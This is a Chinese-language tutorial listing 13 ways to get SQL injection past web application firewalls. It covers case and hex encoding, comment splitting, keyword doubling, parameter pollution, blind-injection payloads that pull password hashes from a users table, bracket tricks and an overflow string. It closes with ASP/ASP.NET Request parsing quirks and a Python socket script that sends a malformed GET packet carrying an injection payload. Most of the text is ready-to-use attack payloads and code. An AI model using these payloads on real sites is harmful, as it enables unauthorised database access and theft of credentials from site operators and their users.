1.大小写绕过
这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union，那就使用Union UnIoN等等绕过。
2.简单编码绕过
比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union，那么我们就用%55也就是U的16进制编码来代替U，union写成 %55nION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。
也还有大家在Mysql注入中比如表名或是load文件的时候，会把文件名或是表明用16进制编码来绕过WAF都是属于这类。
3.注释绕过
这种情况比较少，适用于WAF只是过滤了一次危险的语句，而没有阻断我们的整个查询。
01./?id=1+union+select+1,2,3/*
比如对于上面这条查询，WAF过滤了一次union和select，那么我们在之前在写一个注释的语句，让他把注释里面的过滤掉，并不影响我们的查询。
所以绕过语句就是：
01./?id=1/*union*/union/*select*/select+1,2,3/*
还有一种和注释有关的绕过：
比如：
01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…
可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！
4.分隔重写绕过
还是上面的例子，适用于那种WAF采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了，而带入查询的时候并不影响我们的结果。
01./?id=1+un/**/ion+sel/**/ect+1,2,3--
至于重写绕过，适用于WAF过滤了一次的情况，和我们上传aaspsp马的原理一样，我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。
01.?id=1 ununionion select 1,2,3--
5.Http参数污染(HPP)
比如我们有这样的语句：
01./?id=1 union select+1,2,3+from+users+where+id=1--
我们可以重复一次前面的id值添加我们的值来绕过，&id=会在查询时变成逗号：
01./?id=1 union select+1&id=2,3+from+users+where+id=1--
这种情况成功的条件比较多，取决于具体的WAF实现。
再给出一个例子说明用法：
01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的：
01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];
那我们可以构造这样的注入语句：
01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
最终解析为：
01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。
6.使用逻辑运算符 or /and绕过
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
顺便解释一下第二句话，从最里面的括号开始分析，select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录，比如是admin，
然后mid(上一句),1,1就是取admin的第一个字符，也就是a，
lower(上一句)就是把字符转换为小写，
然后ascii就是把a转换成ascii码，看等不等于74。
7.比较操作符替换
包括!= 不等于，<>不等于，< 小于，>大于，这些都可以用来替换=来绕过。
比如上一个例子，要判断是不是74，假设=被过滤，那么我们可以判断是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都会忘了这个。
8.同功能函数替换
Substring()可以用mid()，substr()这些函数来替换，都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍。
如果连这些都屏蔽了，还有一种新的方法：
01. substring((select 'password'),1,1) = 0x70
02.substr((select 'password'),1,1) = 0x70
03.mid((select 'password'),1,1) = 0x70
比如这三条，都是从password里判断第一个字符的值，可以用：
01.strcmp(left('password',1), 0x69) = 1
02.strcmp(left('password',1), 0x70) = 0
03.strcmp(left('password',1), 0x71) = -1
来替换，left用来取字符串左起1位的值，strcmp用来比较两个值，如果比较结果相等就为0，左边小的话就为-1，否则为1。
还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换。
9.盲注无需or和and
比如有这样一个注入点：
01.index.php?uid=123
and、or被过滤了，其实有一种更直接的方法，我们直接修改123为我们的语句生成的：
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的时候页面是正确的，我们现在在盲猜hash的第一位，如果第一位等于0x42也就是B，那么strcmp结果为0，0+123=123，所以页面应该是正确的。否则就说明不是B，就这样猜，不用and和or了。
10. 加括号
01./?id=1+union+(select+1,2+from+users)
比如，上面这一条被WAF拦截了。可以试试加一些括号：
01./?id=1+union+(select+1,2+from+xxx)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过
这个是从国外一个博客看到的：
01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好，一般要求1000个以上。
12.Request对象的包解析漏洞
sp和asp.net的Request对象存在一个包解析漏洞，Request对象对于GET和POST包的解析过于宽松，
用一句话表达就是Request对象它GET和POST傻傻分不清楚，稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据
分别将下面两段代码保存为1.asp和1.aspx
使用asp的Request对象接收t参数传值
<%
Response.Write "Request:" & Request("t")
%>
使用asp.net的Request对象接收t参数传值
<%@ Page Language="C#" %>
<%
string test = Request["t"];
Response.Write("Request:"+test);
%>
使用下面的python脚本调用socket发送原始的HTTP包
01 #!/usr/bin/env python
02
03 import socket
04
05 host = '192.168.239.129'
06 path = '/1.asp'
07 port = 80
08
09 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 s.connect((host, port))
11 s.settimeout(8)
12
13 exploit_packet="t='/**/or/**/1=1–"
14 exploit_packet+="
" * 8
15 packet_length = len(exploit_packet)
16 packet='GET' + path + ' HTTP/1.1
'
17 packet+='Host:' + host + '
'
18 packet+='Content-Length: %s
' % packet_length
19 packet+='Content-Type: application/x-www-form-urlencoded
'
20 packet+='
'
21 packet = packet + exploit_packet
22
23 print packet
24 s.send(packet)
25 buf = s.recv(1000)
26 if buf: print buf[buf.rfind("
"):]
27 s.close()
我们发送的原始包是：
1 GET /1.asp HTTP/1.1 2 Host: 192.168.239.129 3 Content-Length: 34 4 Content-Type: application/x-www-form-urlencoded 5 6 t='/**/or/**/1=1–
结果返回如下：
Request:'/**/or/**/1=1–
将python测试脚本的path改为/1.aspx测试页返回同样结果。
我们可以看到这是一个畸形的HTTP GET请求包，这个包的奥秘在于Content-Type和Content-Length头，包的结构类似于一个POST包，而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。
13.ASP.NET的Request对象Params属性
ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据，参考[4]微软MSDN文档我们可以知道Params属性的特性，该属性接收GET,POST和Cookie的传值集合，这里我们可以测试一下：
使用asp.net的Request.Params方法接收 t 参数传值
1 <%@ Page Language="C#" %>
2 <%
3 string test = Request.Params["t"];
4 Response.Write("Request:"+test);
5 %>
发送一个POST包，GET,POST,COOKIE三个方法中都带有不同的t参数内容
1 POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1 2 Host: 192.168.239.129 3 Cookie: t=2 4 5 t=3
结果返回
Request:1,3,2
最后得出结论，Request.Params方法接收的数据是按照GPC顺序整合，看到这里的同学再联想到0x02的复参攻击应该如醍醐灌顶了，我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。